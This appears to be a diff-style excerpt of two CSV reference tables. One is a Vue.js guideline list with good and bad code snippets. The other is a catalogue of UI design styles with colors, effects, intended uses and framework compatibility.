48,SSR,Use Nuxt for SSR,Full-featured SSR framework,Nuxt 3 for SSR apps,Manual SSR setup,npx nuxi init my-app,Custom SSR configuration,Medium,https://nuxt.com/
|
||||
49,SSR,Handle hydration mismatches,Client/server content must match,ClientOnly for browser-only content,Different content server/client,<ClientOnly><BrowserWidget/></ClientOnly>,<div>{{ Date.now() }}</div>,High,
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Composition,Use Composition API for new projects,Composition API offers better TypeScript support and logic reuse,<script setup> for components,Options API for new projects,<script setup>,export default { data() },Medium,https://vuejs.org/guide/extras/composition-api-faq.html
|
||||
2,Composition,Use script setup syntax,Cleaner syntax with automatic exports,<script setup> with defineProps,setup() function manually,<script setup>,<script> setup() { return {} },Low,https://vuejs.org/api/sfc-script-setup.html
|
||||
3,Reactivity,Use ref for primitives,ref() for primitive values that need reactivity,ref() for strings numbers booleans,reactive() for primitives,const count = ref(0),const count = reactive(0),Medium,https://vuejs.org/guide/essentials/reactivity-fundamentals.html
|
||||
4,Reactivity,Use reactive for objects,reactive() for complex objects and arrays,reactive() for objects with multiple properties,ref() for complex objects,const state = reactive({ user: null }),const state = ref({ user: null }),Medium,
|
||||
5,Reactivity,Access ref values with .value,Remember .value in script unwrap in template,Use .value in script,Forget .value in script,count.value++,count++ (in script),High,
|
||||
6,Reactivity,Use computed for derived state,Computed properties cache and update automatically,computed() for derived values,Methods for derived values,const doubled = computed(() => count.value * 2),const doubled = () => count.value * 2,Medium,https://vuejs.org/guide/essentials/computed.html
|
||||
7,Reactivity,Use shallowRef for large objects,Avoid deep reactivity for performance,shallowRef for large data structures,ref for large nested objects,const bigData = shallowRef(largeObject),const bigData = ref(largeObject),Medium,https://vuejs.org/api/reactivity-advanced.html#shallowref
|
||||
8,Watchers,Use watchEffect for simple cases,Auto-tracks dependencies,watchEffect for simple reactive effects,watch with explicit deps when not needed,watchEffect(() => console.log(count.value)),"watch(count, (val) => console.log(val))",Low,https://vuejs.org/guide/essentials/watchers.html
|
||||
9,Watchers,Use watch for specific sources,Explicit control over what to watch,watch with specific refs,watchEffect for complex conditional logic,"watch(userId, fetchUser)",watchEffect with conditionals,Medium,
|
||||
10,Watchers,Clean up side effects,Return cleanup function in watchers,Return cleanup in watchEffect,Leave subscriptions open,watchEffect((onCleanup) => { onCleanup(unsub) }),watchEffect without cleanup,High,
|
||||
11,Props,Define props with defineProps,Type-safe prop definitions,defineProps with TypeScript,Props without types,defineProps<{ msg: string }>(),defineProps(['msg']),Medium,https://vuejs.org/guide/typescript/composition-api.html#typing-component-props
|
||||
12,Props,Use withDefaults for default values,Provide defaults for optional props,withDefaults with defineProps,Defaults in destructuring,"withDefaults(defineProps<Props>(), { count: 0 })",const { count = 0 } = defineProps(),Medium,
|
||||
13,Props,Avoid mutating props,Props should be read-only,Emit events to parent for changes,Direct prop mutation,"emit('update:modelValue', newVal)",props.modelValue = newVal,High,
|
||||
14,Emits,Define emits with defineEmits,Type-safe event emissions,defineEmits with types,Emit without definition,defineEmits<{ change: [id: number] }>(),"emit('change', id) without define",Medium,https://vuejs.org/guide/typescript/composition-api.html#typing-component-emits
|
||||
15,Emits,Use v-model for two-way binding,Simplified parent-child data flow,v-model with modelValue prop,:value + @input manually,"<Child v-model=""value""/>","<Child :value=""value"" @input=""value = $event""/>",Low,https://vuejs.org/guide/components/v-model.html
|
||||
16,Lifecycle,Use onMounted for DOM access,DOM is ready in onMounted,onMounted for DOM operations,Access DOM in setup directly,onMounted(() => el.value.focus()),el.value.focus() in setup,High,https://vuejs.org/api/composition-api-lifecycle.html
|
||||
17,Lifecycle,Clean up in onUnmounted,Remove listeners and subscriptions,onUnmounted for cleanup,Leave listeners attached,onUnmounted(() => window.removeEventListener()),No cleanup on unmount,High,
|
||||
18,Lifecycle,Avoid onBeforeMount for data,Use onMounted or setup for data fetching,Fetch in onMounted or setup,Fetch in onBeforeMount,onMounted(async () => await fetchData()),onBeforeMount(async () => await fetchData()),Low,
|
||||
19,Components,Use single-file components,Keep template script style together,.vue files for components,Separate template/script files,Component.vue with all parts,Component.js + Component.html,Low,
|
||||
20,Components,Use PascalCase for components,Consistent component naming,PascalCase in imports and templates,kebab-case in script,<MyComponent/>,<my-component/>,Low,https://vuejs.org/style-guide/rules-strongly-recommended.html
|
||||
21,Components,Prefer composition over mixins,Composables replace mixins,Composables for shared logic,Mixins for code reuse,const { data } = useApi(),mixins: [apiMixin],Medium,
|
||||
22,Composables,Name composables with use prefix,Convention for composable functions,useFetch useAuth useForm,getData or fetchApi,export function useFetch(),export function fetchData(),Medium,https://vuejs.org/guide/reusability/composables.html
|
||||
23,Composables,Return refs from composables,Maintain reactivity when destructuring,Return ref values,Return reactive objects that lose reactivity,return { data: ref(null) },return reactive({ data: null }),Medium,
|
||||
24,Composables,Accept ref or value params,Use toValue for flexible inputs,toValue() or unref() for params,Only accept ref or only value,const val = toValue(maybeRef),const val = maybeRef.value,Low,https://vuejs.org/api/reactivity-utilities.html#tovalue
|
||||
25,Templates,Use v-bind shorthand,Cleaner template syntax,:prop instead of v-bind:prop,Full v-bind syntax,"<div :class=""cls"">","<div v-bind:class=""cls"">",Low,
|
||||
26,Templates,Use v-on shorthand,Cleaner event binding,@event instead of v-on:event,Full v-on syntax,"<button @click=""handler"">","<button v-on:click=""handler"">",Low,
|
||||
27,Templates,Avoid v-if with v-for,v-if has higher priority causes issues,Wrap in template or computed filter,v-if on same element as v-for,<template v-for><div v-if>,<div v-for v-if>,High,https://vuejs.org/style-guide/rules-essential.html#avoid-v-if-with-v-for
|
||||
28,Templates,Use key with v-for,Proper list rendering and updates,Unique key for each item,Index as key for dynamic lists,"v-for=""item in items"" :key=""item.id""","v-for=""(item, i) in items"" :key=""i""",High,
|
||||
29,State,Use Pinia for global state,Official state management for Vue 3,Pinia stores for shared state,Vuex for new projects,const store = useCounterStore(),Vuex with mutations,Medium,https://pinia.vuejs.org/
|
||||
30,State,Define stores with defineStore,Composition API style stores,Setup stores with defineStore,Options stores for complex state,"defineStore('counter', () => {})","defineStore('counter', { state })",Low,
|
||||
31,State,Use storeToRefs for destructuring,Maintain reactivity when destructuring,storeToRefs(store),Direct destructuring,const { count } = storeToRefs(store),const { count } = store,High,https://pinia.vuejs.org/core-concepts/#destructuring-from-a-store
|
||||
32,Routing,Use useRouter and useRoute,Composition API router access,useRouter() useRoute() in setup,this.$router this.$route,const router = useRouter(),this.$router.push(),Medium,https://router.vuejs.org/guide/advanced/composition-api.html
|
||||
33,Routing,Lazy load route components,Code splitting for routes,() => import() for components,Static imports for all routes,component: () => import('./Page.vue'),component: Page,Medium,https://router.vuejs.org/guide/advanced/lazy-loading.html
|
||||
34,Routing,Use navigation guards,Protect routes and handle redirects,beforeEach for auth checks,Check auth in each component,router.beforeEach((to) => {}),Check auth in onMounted,Medium,
|
||||
35,Performance,Use v-once for static content,Skip re-renders for static elements,v-once on never-changing content,v-once on dynamic content,<div v-once>{{ staticText }}</div>,<div v-once>{{ dynamicText }}</div>,Low,https://vuejs.org/api/built-in-directives.html#v-once
|
||||
36,Performance,Use v-memo for expensive lists,Memoize list items,v-memo with dependency array,Re-render entire list always,"<div v-for v-memo=""[item.id]"">",<div v-for> without memo,Medium,https://vuejs.org/api/built-in-directives.html#v-memo
|
||||
37,Performance,Use shallowReactive for flat objects,Avoid deep reactivity overhead,shallowReactive for flat state,reactive for simple objects,shallowReactive({ count: 0 }),reactive({ count: 0 }),Low,
|
||||
38,Performance,Use defineAsyncComponent,Lazy load heavy components,defineAsyncComponent for modals dialogs,Import all components eagerly,defineAsyncComponent(() => import()),import HeavyComponent from,Medium,https://vuejs.org/guide/components/async.html
|
||||
39,TypeScript,Use generic components,Type-safe reusable components,Generic with defineComponent,Any types in components,"<script setup lang=""ts"" generic=""T"">",<script setup> without types,Medium,https://vuejs.org/guide/typescript/composition-api.html
|
||||
40,TypeScript,Type template refs,Proper typing for DOM refs,ref<HTMLInputElement>(null),ref(null) without type,const input = ref<HTMLInputElement>(null),const input = ref(null),Medium,
|
||||
41,TypeScript,Use PropType for complex props,Type complex prop types,PropType<User> for object props,Object without type,type: Object as PropType<User>,type: Object,Medium,
|
||||
42,Testing,Use Vue Test Utils,Official testing library,mount shallowMount for components,Manual DOM testing,import { mount } from '@vue/test-utils',document.createElement,Medium,https://test-utils.vuejs.org/
|
||||
43,Testing,Test component behavior,Focus on inputs and outputs,Test props emit and rendered output,Test internal implementation,expect(wrapper.text()).toContain(),expect(wrapper.vm.internalState),Medium,
|
||||
44,Forms,Use v-model modifiers,Built-in input handling,.lazy .number .trim modifiers,Manual input parsing,"<input v-model.number=""age"">","<input v-model=""age""> then parse",Low,https://vuejs.org/guide/essentials/forms.html#modifiers
|
||||
45,Forms,Use VeeValidate or FormKit,Form validation libraries,VeeValidate for complex forms,Manual validation logic,useField useForm from vee-validate,Custom validation in each input,Medium,
|
||||
46,Accessibility,Use semantic elements,Proper HTML elements in templates,button nav main for purpose,div for everything,<button @click>,<div @click>,High,
|
||||
47,Accessibility,Bind aria attributes dynamically,Keep ARIA in sync with state,":aria-expanded=""isOpen""",Static ARIA values,":aria-expanded=""menuOpen""","aria-expanded=""true""",Medium,
|
||||
48,SSR,Use Nuxt for SSR,Full-featured SSR framework,Nuxt 3 for SSR apps,Manual SSR setup,npx nuxi init my-app,Custom SSR configuration,Medium,https://nuxt.com/
|
||||
49,SSR,Handle hydration mismatches,Client/server content must match,ClientOnly for browser-only content,Different content server/client,<ClientOnly><BrowserWidget/></ClientOnly>,<div>{{ Date.now() }}</div>,High,
|
||||
|
||||
|
@@ -1,59 +1,59 @@
|
||||
STT,Style Category,Type,Keywords,Primary Colors,Secondary Colors,Effects & Animation,Best For,Do Not Use For,Light Mode ✓,Dark Mode ✓,Performance,Accessibility,Mobile-Friendly,Conversion-Focused,Framework Compatibility,Era/Origin,Complexity
|
||||
1,Minimalism & Swiss Style,General,"Clean, simple, spacious, functional, white space, high contrast, geometric, sans-serif, grid-based, essential","Monochromatic, Black #000000, White #FFFFFF","Neutral (Beige #F5F1E8, Grey #808080, Taupe #B38B6D), Primary accent","Subtle hover (200-250ms), smooth transitions, sharp shadows if any, clear type hierarchy, fast loading","Enterprise apps, dashboards, documentation sites, SaaS platforms, professional tools","Creative portfolios, entertainment, playful brands, artistic experiments",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,◐ Medium,"Tailwind 10/10, Bootstrap 9/10, MUI 9/10",1950s Swiss,Low
|
||||
2,Neumorphism,General,"Soft UI, embossed, debossed, convex, concave, light source, subtle depth, rounded (12-16px), monochromatic","Light pastels: Soft Blue #C8E0F4, Soft Pink #F5E0E8, Soft Grey #E8E8E8","Tints/shades (±30%), gradient subtlety, color harmony","Soft box-shadow (multiple: -5px -5px 15px, 5px 5px 15px), smooth press (150ms), inner subtle shadow","Health/wellness apps, meditation platforms, fitness trackers, minimal interaction UIs","Complex apps, critical accessibility, data-heavy dashboards, high-contrast required",✓ Full,◐ Partial,⚡ Good,⚠ Low contrast,✓ Good,◐ Medium,"Tailwind 8/10, CSS-in-JS 9/10",2020s Modern,Medium
|
||||
3,Glassmorphism,General,"Frosted glass, transparent, blurred background, layered, vibrant background, light source, depth, multi-layer","Translucent white: rgba(255,255,255,0.1-0.3)","Vibrant: Electric Blue #0080FF, Neon Purple #8B00FF, Vivid Pink #FF1493, Teal #20B2AA","Backdrop blur (10-20px), subtle border (1px solid rgba white 0.2), light reflection, Z-depth","Modern SaaS, financial dashboards, high-end corporate, lifestyle apps, modal overlays, navigation","Low-contrast backgrounds, critical accessibility, performance-limited, dark text on dark",✓ Full,✓ Full,⚠ Good,⚠ Ensure 4.5:1,✓ Good,✓ High,"Tailwind 9/10, MUI 8/10, Chakra 8/10",2020s Modern,Medium
|
||||
4,Brutalism,General,"Raw, unpolished, stark, high contrast, plain text, default fonts, visible borders, asymmetric, anti-design","Primary: Red #FF0000, Blue #0000FF, Yellow #FFFF00, Black #000000, White #FFFFFF","Limited: Neon Green #00FF00, Hot Pink #FF00FF, minimal secondary","No smooth transitions (instant), sharp corners (0px), bold typography (700+), visible grid, large blocks","Design portfolios, artistic projects, counter-culture brands, editorial/media sites, tech blogs","Corporate environments, conservative industries, critical accessibility, customer-facing professional",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,◐ Medium,✗ Low,"Tailwind 10/10, Bootstrap 7/10",1950s Brutalist,Low
|
||||
5,3D & Hyperrealism,General,"Depth, realistic textures, 3D models, spatial navigation, tactile, skeuomorphic elements, rich detail, immersive","Deep Navy #001F3F, Forest Green #228B22, Burgundy #800020, Gold #FFD700, Silver #C0C0C0","Complex gradients (5-10 stops), realistic lighting, shadow variations (20-40% darker)","WebGL/Three.js 3D, realistic shadows (layers), physics lighting, parallax (3-5 layers), smooth 3D (300-400ms)","Gaming, product showcase, immersive experiences, high-end e-commerce, architectural viz, VR/AR","Low-end mobile, performance-limited, critical accessibility, data tables/forms",◐ Partial,◐ Partial,❌ Poor,⚠ Not accessible,✗ Low,◐ Medium,"Three.js 10/10, R3F 10/10, Babylon.js 10/10",2020s Modern,High
|
||||
6,Vibrant & Block-based,General,"Bold, energetic, playful, block layout, geometric shapes, high color contrast, duotone, modern, energetic","Neon Green #39FF14, Electric Purple #BF00FF, Vivid Pink #FF1493, Bright Cyan #00FFFF, Sunburst #FFAA00","Complementary: Orange #FF7F00, Shocking Pink #FF006E, Lime #CCFF00, triadic schemes","Large sections (48px+ gaps), animated patterns, bold hover (color shift), scroll-snap, large type (32px+), 200-300ms","Startups, creative agencies, gaming, social media, youth-focused, entertainment, consumer","Financial institutions, healthcare, formal business, government, conservative, elderly",✓ Full,✓ Full,⚡ Good,◐ Ensure WCAG,✓ High,✓ High,"Tailwind 10/10, Chakra 9/10, Styled 9/10",2020s Modern,Medium
|
||||
7,Dark Mode (OLED),General,"Dark theme, low light, high contrast, deep black, midnight blue, eye-friendly, OLED, night mode, power efficient","Deep Black #000000, Dark Grey #121212, Midnight Blue #0A0E27","Vibrant accents: Neon Green #39FF14, Electric Blue #0080FF, Gold #FFD700, Plasma Purple #BF00FF","Minimal glow (text-shadow: 0 0 10px), dark-to-light transitions, low white emission, high readability, visible focus","Night-mode apps, coding platforms, entertainment, eye-strain prevention, OLED devices, low-light","Print-first content, high-brightness outdoor, color-accuracy-critical",✗ No,✓ Only,⚡ Excellent,✓ WCAG AAA,✓ High,◐ Low,"Tailwind 10/10, MUI 10/10, Chakra 10/10",2020s Modern,Low
|
||||
8,Accessible & Ethical,General,"High contrast, large text (16px+), keyboard navigation, screen reader friendly, WCAG compliant, focus state, semantic","WCAG AA/AAA (4.5:1 min), simple primary, clear secondary, high luminosity (7:1+)","Symbol-based colors (not color-only), supporting patterns, inclusive combinations","Clear focus rings (3-4px), ARIA labels, skip links, responsive design, reduced motion, 44x44px touch targets","Government, healthcare, education, inclusive products, large audience, legal compliance, public",None - accessibility universal,✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"All frameworks 10/10",Universal,Low
|
||||
9,Claymorphism,General,"Soft 3D, chunky, playful, toy-like, bubbly, thick borders (3-4px), double shadows, rounded (16-24px)","Pastel: Soft Peach #FDBCB4, Baby Blue #ADD8E6, Mint #98FF98, Lilac #E6E6FA, light BG","Soft gradients (pastel-to-pastel), light/dark variations (20-30%), gradient subtle","Inner+outer shadows (subtle, no hard lines), soft press (200ms ease-out), fluffy elements, smooth transitions","Educational apps, children's apps, SaaS platforms, creative tools, fun-focused, onboarding, casual games","Formal corporate, professional services, data-critical, serious/medical, legal apps, finance",✓ Full,◐ Partial,⚡ Good,⚠ Ensure 4.5:1,✓ High,✓ High,"Tailwind 9/10, CSS-in-JS 9/10",2020s Modern,Medium
|
||||
10,Aurora UI,General,"Vibrant gradients, smooth blend, Northern Lights effect, mesh gradient, luminous, atmospheric, abstract","Complementary: Blue-Orange, Purple-Yellow, Electric Blue #0080FF, Magenta #FF1493, Cyan #00FFFF","Smooth transitions (Blue→Purple→Pink→Teal), iridescent effects, blend modes (screen, multiply)","Large flowing CSS/SVG gradients, subtle 8-12s animations, depth via color layering, smooth morph","Modern SaaS, creative agencies, branding, music platforms, lifestyle, premium products, hero sections","Data-heavy dashboards, critical accessibility, content-heavy where distraction issues",✓ Full,✓ Full,⚠ Good,⚠ Text contrast,✓ Good,✓ High,"Tailwind 9/10, CSS-in-JS 10/10",2020s Modern,Medium
|
||||
11,Retro-Futurism,General,"Vintage sci-fi, 80s aesthetic, neon glow, geometric patterns, CRT scanlines, pixel art, cyberpunk, synthwave","Neon Blue #0080FF, Hot Pink #FF006E, Cyan #00FFFF, Deep Black #1A1A2E, Purple #5D34D0","Metallic Silver #C0C0C0, Gold #FFD700, duotone, 80s Pink #FF10F0, neon accents","CRT scanlines (::before overlay), neon glow (text-shadow+box-shadow), glitch effects (skew/offset keyframes)","Gaming, entertainment, music platforms, tech brands, artistic projects, nostalgic, cyberpunk","Conservative industries, critical accessibility, professional/corporate, elderly, legal/finance",✓ Full,✓ Dark focused,⚠ Moderate,⚠ High contrast/strain,◐ Medium,◐ Medium,"Tailwind 8/10, CSS-in-JS 9/10",1980s Retro,Medium
|
||||
12,Flat Design,General,"2D, minimalist, bold colors, no shadows, clean lines, simple shapes, typography-focused, modern, icon-heavy","Solid bright: Red, Orange, Blue, Green, limited palette (4-6 max)","Complementary colors, muted secondaries, high saturation, clean accents","No gradients/shadows, simple hover (color/opacity shift), fast loading, clean transitions (150-200ms ease), minimal icons","Web apps, mobile apps, cross-platform, startup MVPs, user-friendly, SaaS, dashboards, corporate","Complex 3D, premium/luxury, artistic portfolios, immersive experiences, high-detail",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"Tailwind 10/10, Bootstrap 10/10, MUI 9/10",2010s Modern,Low
|
||||
13,Skeuomorphism,General,"Realistic, texture, depth, 3D appearance, real-world metaphors, shadows, gradients, tactile, detailed, material","Rich realistic: wood, leather, metal colors, detailed gradients (8-12 stops), metallic effects","Realistic lighting gradients, shadow variations (30-50% darker), texture overlays, material colors","Realistic shadows (layers), depth (perspective), texture details (noise, grain), realistic animations (300-500ms)","Legacy apps, gaming, immersive storytelling, premium products, luxury, realistic simulations, education","Modern enterprise, critical accessibility, low-performance, web (use Flat/Modern)",◐ Partial,◐ Partial,❌ Poor,⚠ Textures reduce readability,✗ Low,◐ Medium,"CSS-in-JS 7/10, Custom 8/10",2007-2012 iOS,High
|
||||
14,Liquid Glass,General,"Flowing glass, morphing, smooth transitions, fluid effects, translucent, animated blur, iridescent, chromatic aberration","Vibrant iridescent (rainbow spectrum), translucent base with opacity shifts, gradient fluidity","Chromatic aberration (Red-Cyan), iridescent oil-spill, fluid gradient blends, holographic effects","Morphing elements (SVG/CSS), fluid animations (400-600ms curves), dynamic blur (backdrop-filter), color transitions","Premium SaaS, high-end e-commerce, creative platforms, branding experiences, luxury portfolios","Performance-limited, critical accessibility, complex data, budget projects",✓ Full,✓ Full,⚠ Moderate-Poor,⚠ Text contrast,◐ Medium,✓ High,"Framer Motion 10/10, GSAP 10/10",2020s Modern,High
|
||||
15,Motion-Driven,General,"Animation-heavy, microinteractions, smooth transitions, scroll effects, parallax, entrance anim, page transitions","Bold colors emphasize movement, high contrast animated, dynamic gradients, accent action colors","Transitional states, success (Green #22C55E), error (Red #EF4444), neutral feedback","Scroll anim (Intersection Observer), hover (300-400ms), entrance, parallax (3-5 layers), page transitions","Portfolio sites, storytelling platforms, interactive experiences, entertainment apps, creative, SaaS","Data dashboards, critical accessibility, low-power devices, content-heavy, motion-sensitive",✓ Full,✓ Full,⚠ Good,⚠ Prefers-reduced-motion,✓ Good,✓ High,"GSAP 10/10, Framer Motion 10/10",2020s Modern,High
|
||||
16,Micro-interactions,General,"Small animations, gesture-based, tactile feedback, subtle animations, contextual interactions, responsive","Subtle color shifts (10-20%), feedback: Green #22C55E, Red #EF4444, Amber #F59E0B","Accent feedback, neutral supporting, clear action indicators","Small hover (50-100ms), loading spinners, success/error state anim, gesture-triggered (swipe/pinch), haptic","Mobile apps, touchscreen UIs, productivity tools, user-friendly, consumer apps, interactive components","Desktop-only, critical performance, accessibility-first (alternatives needed)",✓ Full,✓ Full,⚡ Excellent,✓ Good,✓ High,✓ High,"Framer Motion 10/10, React Spring 9/10",2020s Modern,Medium
|
||||
17,Inclusive Design,General,"Accessible, color-blind friendly, high contrast, haptic feedback, voice interaction, screen reader, WCAG AAA, universal","WCAG AAA (7:1+ contrast), avoid red-green only, symbol-based indicators, high contrast primary","Supporting patterns (stripes, dots, hatch), symbols, combinations, clear non-color indicators","Haptic feedback (vibration), voice guidance, focus indicators (4px+ ring), motion options, alt content, semantic","Public services, education, healthcare, finance, government, accessible consumer, inclusive",None - accessibility universal,✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ High,✓ High,"All frameworks 10/10",Universal,Low
|
||||
18,Zero Interface,General,"Minimal visible UI, voice-first, gesture-based, AI-driven, invisible controls, predictive, context-aware, ambient","Neutral backgrounds: Soft white #FAFAFA, light grey #F0F0F0, warm off-white #F5F1E8","Subtle feedback: light green, light red, minimal UI elements, soft accents","Voice recognition UI, gesture detection, AI predictions (smooth reveal), progressive disclosure, smart suggestions","Voice assistants, AI platforms, future-forward UX, smart home, contextual computing, ambient experiences","Complex workflows, data-entry heavy, traditional systems, legacy support, explicit control",✓ Full,✓ Full,⚡ Excellent,✓ Excellent,✓ High,✓ High,"Tailwind 10/10, Custom 10/10",2020s AI-Era,Low
|
||||
19,Soft UI Evolution,General,"Evolved soft UI, better contrast, modern aesthetics, subtle depth, accessibility-focused, improved shadows, hybrid","Improved contrast pastels: Soft Blue #87CEEB, Soft Pink #FFB6C1, Soft Green #90EE90, better hierarchy","Better combinations, accessible secondary, supporting with improved contrast, modern accents","Improved shadows (softer than flat, clearer than neumorphism), modern (200-300ms), focus visible, WCAG AA/AAA","Modern enterprise apps, SaaS platforms, health/wellness, modern business tools, professional, hybrid","Extreme minimalism, critical performance, systems without modern OS",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA+,✓ High,✓ High,"Tailwind 9/10, MUI 9/10, Chakra 9/10",2020s Modern,Medium
|
||||
20,Hero-Centric Design,Landing Page,"Large hero section, compelling headline, high-contrast CTA, product showcase, value proposition, hero image/video, dramatic visual","Brand primary color, white/light backgrounds for contrast, accent color for CTA","Supporting colors for secondary CTAs, accent highlights, trust elements (testimonials, logos)","Smooth scroll reveal, fade-in animations on hero, subtle background parallax, CTA glow/pulse effect","SaaS landing pages, product launches, service landing pages, B2B platforms, tech companies","Complex navigation, multi-page experiences, data-heavy applications",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,✓ Full,✓ Very High,"Tailwind 10/10, Bootstrap 9/10",2020s Modern,Medium
|
||||
21,Conversion-Optimized,Landing Page,"Form-focused, minimalist design, single CTA focus, high contrast, urgency elements, trust signals, social proof, clear value","Primary brand color, high-contrast white/light backgrounds, warning/urgency colors for time-limited offers","Secondary CTA color (muted), trust element colors (testimonial highlights), accent for key benefits","Hover states on CTA (color shift, slight scale), form field focus animations, loading spinner, success feedback","E-commerce product pages, free trial signups, lead generation, SaaS pricing pages, limited-time offers","Complex feature explanations, multi-product showcases, technical documentation",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✓ Full (mobile-optimized),✓ Very High
|
||||
22,Feature-Rich Showcase,Landing Page,"Multiple feature sections, grid layout, benefit cards, visual feature demonstrations, interactive elements, problem-solution pairs","Primary brand, bright secondary colors for feature cards, contrasting accent for CTAs","Supporting colors for: benefits (green), problems (red/orange), features (blue/purple), social proof (neutral)","Card hover effects (lift/scale), icon animations on scroll, feature toggle animations, smooth section transitions","Enterprise SaaS, software tools landing pages, platform services, complex product explanations, B2B products","Simple product pages, early-stage startups with few features, entertainment landing pages",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,✓ Good,✓ High
|
||||
23,Minimal & Direct,Landing Page,"Minimal text, white space heavy, single column layout, direct messaging, clean typography, visual-centric, fast-loading","Monochromatic primary, white background, single accent color for CTA, black/dark grey text","Minimal secondary colors, reserved for critical CTAs only, neutral supporting elements","Very subtle hover effects, minimal animations, fast page load (no heavy animations), smooth scroll","Simple service landing pages, indie products, consulting services, micro SaaS, freelancer portfolios","Feature-heavy products, complex explanations, multi-product showcases",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ Full,✓ High
|
||||
24,Social Proof-Focused,Landing Page,"Testimonials prominent, client logos displayed, case studies sections, reviews/ratings, user avatars, success metrics, credibility markers","Primary brand, trust colors (blue), success/growth colors (green), neutral backgrounds","Testimonial highlight colors, logo grid backgrounds (light grey), badge/achievement colors","Testimonial carousel animations, logo grid fade-in, stat counter animations (number count-up), review star ratings","B2B SaaS, professional services, premium products, e-commerce conversion pages, established brands","Startup MVPs, products without users, niche/experimental products",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,✓ Full,✓ High
|
||||
25,Interactive Product Demo,Landing Page,"Embedded product mockup/video, interactive elements, product walkthrough, step-by-step guides, hover-to-reveal features, embedded demos","Primary brand, interface colors matching product, demo highlight colors for interactive elements","Product UI colors, tutorial step colors (numbered progression), hover state indicators","Product animation playback, step progression animations, hover reveal effects, smooth zoom on interaction","SaaS platforms, tool/software products, productivity apps landing pages, developer tools, productivity software","Simple services, consulting, non-digital products, complexity-averse audiences",✓ Full,✓ Full,⚠ Good (video/interactive),✓ WCAG AA,✓ Good,✓ Very High
|
||||
26,Trust & Authority,Landing Page,"Certificates/badges displayed, expert credentials, case studies with metrics, before/after comparisons, industry recognition, security badges","Professional colors (blue/grey), trust colors, certification badge colors (gold/silver accents)","Certificate highlight colors, metric showcase colors, comparison highlight (success green)","Badge hover effects, metric pulse animations, certificate carousel, smooth stat reveal","Healthcare/medical landing pages, financial services, enterprise software, premium/luxury products, legal services","Casual products, entertainment, viral/social-first products",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AAA,✓ Full,✓ High
|
||||
27,Storytelling-Driven,Landing Page,"Narrative flow, visual story progression, section transitions, consistent character/brand voice, emotional messaging, journey visualization","Brand primary, warm/emotional colors, varied accent colors per story section, high visual variety","Story section color coding, emotional state colors (calm, excitement, success), transitional gradients","Section-to-section animations, scroll-triggered reveals, character/icon animations, morphing transitions, parallax narrative","Brand/startup stories, mission-driven products, premium/lifestyle brands, documentary-style products, educational","Technical/complex products (unless narrative-driven), traditional enterprise software",✓ Full,✓ Full,⚠ Moderate (animations),✓ WCAG AA,✓ Good,✓ High
|
||||
28,Data-Dense Dashboard,BI/Analytics,"Multiple charts/widgets, data tables, KPI cards, minimal padding, grid layout, space-efficient, maximum data visibility","Neutral primary (light grey/white #F5F5F5), data colors (blue/green/red), dark text #333333","Chart colors: success (green #22C55E), warning (amber #F59E0B), alert (red #EF4444), neutral (grey)","Hover tooltips, chart zoom on click, row highlighting on hover, smooth filter animations, data loading spinners","Business intelligence dashboards, financial analytics, enterprise reporting, operational dashboards, data warehousing","Marketing dashboards, consumer-facing analytics, simple reporting",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
29,Heat Map & Heatmap Style,BI/Analytics,"Color-coded grid/matrix, data intensity visualization, geographical heat maps, correlation matrices, cell-based representation, gradient coloring","Gradient scale: Cool (blue #0080FF) to hot (red #FF0000), neutral middle (white/yellow)","Support gradients: Light (cool blue) to dark (warm red), divergent for positive/negative data, monochromatic options","Color gradient transitions on data change, cell highlighting on hover, tooltip reveal on click, smooth color animation","Geographical analysis, performance matrices, correlation analysis, user behavior heatmaps, temperature/intensity data","Linear data representation, categorical comparisons (use bar charts), small datasets",✓ Full,✓ Full (with adjustments),⚡ Excellent,⚠ Colorblind considerations,◐ Medium,✗ Not applicable
|
||||
30,Executive Dashboard,BI/Analytics,"High-level KPIs, large key metrics, minimal detail, summary view, trend indicators, at-a-glance insights, executive summary","Brand colors, professional palette (blue/grey/white), accent for KPIs, red for alerts/concerns","KPI highlight colors: positive (green), negative (red), neutral (grey), trend arrow colors","KPI value animations (count-up), trend arrow direction animations, metric card hover lift, alert pulse effect","C-suite dashboards, business summary reports, decision-maker dashboards, strategic planning views","Detailed analyst dashboards, technical deep-dives, operational monitoring",✓ Full,✓ Full,⚡ Excellent,✓ WCAG AA,✗ Low (not mobile-optimized),✗ Not applicable
|
||||
31,Real-Time Monitoring,BI/Analytics,"Live data updates, status indicators, alert notifications, streaming data visualization, active monitoring, streaming charts","Alert colors: critical (red #FF0000), warning (orange #FFA500), normal (green #22C55E), updating (blue animation)","Status indicator colors, chart line colors varying by metric, streaming data highlight colors","Real-time chart animations, alert pulse/glow, status indicator blink animation, smooth data stream updates, loading effect","System monitoring dashboards, DevOps dashboards, real-time analytics, stock market dashboards, live event tracking","Historical analysis, long-term trend reports, archived data dashboards",✓ Full,✓ Full,⚡ Good (real-time load),✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
32,Drill-Down Analytics,BI/Analytics,"Hierarchical data exploration, expandable sections, interactive drill-down paths, summary-to-detail flow, context preservation","Primary brand, breadcrumb colors, drill-level indicator colors, hierarchy depth colors","Drill-down path indicator colors, level-specific colors, highlight colors for selected level, transition colors","Drill-down expand animations, breadcrumb click transitions, smooth detail reveal, level change smooth, data reload animation","Sales analytics, product analytics, funnel analysis, multi-dimensional data exploration, business intelligence","Simple linear data, single-metric dashboards, streaming real-time dashboards",✓ Full,✓ Full,⚡ Good,✓ WCAG AA,◐ Medium,✗ Not applicable
|
||||
